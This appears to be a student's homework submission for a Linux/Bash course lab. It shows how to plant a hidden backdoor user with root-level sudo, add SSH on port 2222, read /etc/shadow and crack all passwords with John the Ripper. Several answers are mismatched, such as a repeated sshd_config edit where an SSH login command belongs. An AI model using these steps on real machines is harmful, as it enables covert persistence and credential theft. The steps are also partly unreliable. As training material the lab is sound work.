Submission for Unit 6 Advanced Bash Homework

Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.
- `sudo useradd -M sysd`

Give your secret user a password.
- `sudo passwd sysd`

Give your secret user a system UID < 1000.
- `sudo usermod -u 500 sysd`

Give your secret user the same GID
- `sudo groupmod -g 500 sysd`

Give your secret user full sudo access without the need for a password.
- `sudo usermod -aG sudo sysd`

Test that sudo access works without your password

#Change user to sysd
- su - sysd

#Test sudo access
- sudo -l

Allow ssh access over port 2222.

Command to edit the `sshd_config` file:

- sudo nano /etc/ssh/sshd_config

#Blue part is what was edited/added
```
Port 22
Port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
```

```
# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
```

Command to restart the ssh service:
- `sudo systemctl restart ssh`

Exit the root accout:
- `su - sysadmin`

SSH to the target machine using your `sysd` account and port 2222:
- `sudo nano /etc/ssh/sshd_config`

Use sudo to switch to the root user
- `sudo su -`

Crack _all_ the passwords

Ssh back to the system using your sysd account
- `sudo nano /etc/ssh/sshd_config`

- Use John to crack the entire /etc/shadow file

- `cat /etc/passwd`

- `cat /etc/shadow`

- `unshadow passwd.txt shadow.txt > passwords.txt`

- `john passwords.txt`